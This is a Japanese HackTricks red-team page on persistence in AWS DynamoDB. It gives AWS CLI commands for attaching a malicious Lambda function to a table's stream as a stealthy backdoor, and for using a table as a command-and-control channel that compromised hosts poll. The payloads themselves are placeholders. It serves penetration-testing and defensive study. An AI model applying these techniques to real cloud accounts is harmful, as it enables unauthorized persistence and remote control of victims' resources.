AWS - DynamoDB 永続化

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

DynamoDB

詳細は以下を参照してください:

AWS - DynamoDB Enum

DynamoDB トリガーによる Lambda Backdoor

DynamoDB トリガーを利用して、攻撃者はテーブルに悪意ある Lambda function を関連付けることで、stealthy backdoor を作成できます。Lambda function は、item が追加、変更、または削除されたときにトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行できます。

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

persistence を維持するために、attacker は DynamoDB テーブル内の項目を作成または変更して悪意のある Lambda function をトリガーできます。これにより、attacker は Lambda function と直接やり取りすることなく、AWS アカウント内で code を実行できます。

DynamoDB を C2 Channel として

attacker は、コマンドを含む項目を作成し、侵害されたインスタンスや Lambda functions を使ってこれらのコマンドを取得して実行することで、DynamoDB テーブルを command and control (C2) channel として利用できます。

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

侵害されたインスタンスや Lambda 関数は定期的に C2 テーブルをチェックして新しいコマンドを取得し、それを実行し、必要に応じて結果をテーブルに報告できます。これにより攻撃者は侵害されたリソースに対する persistence と制御を維持できます。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする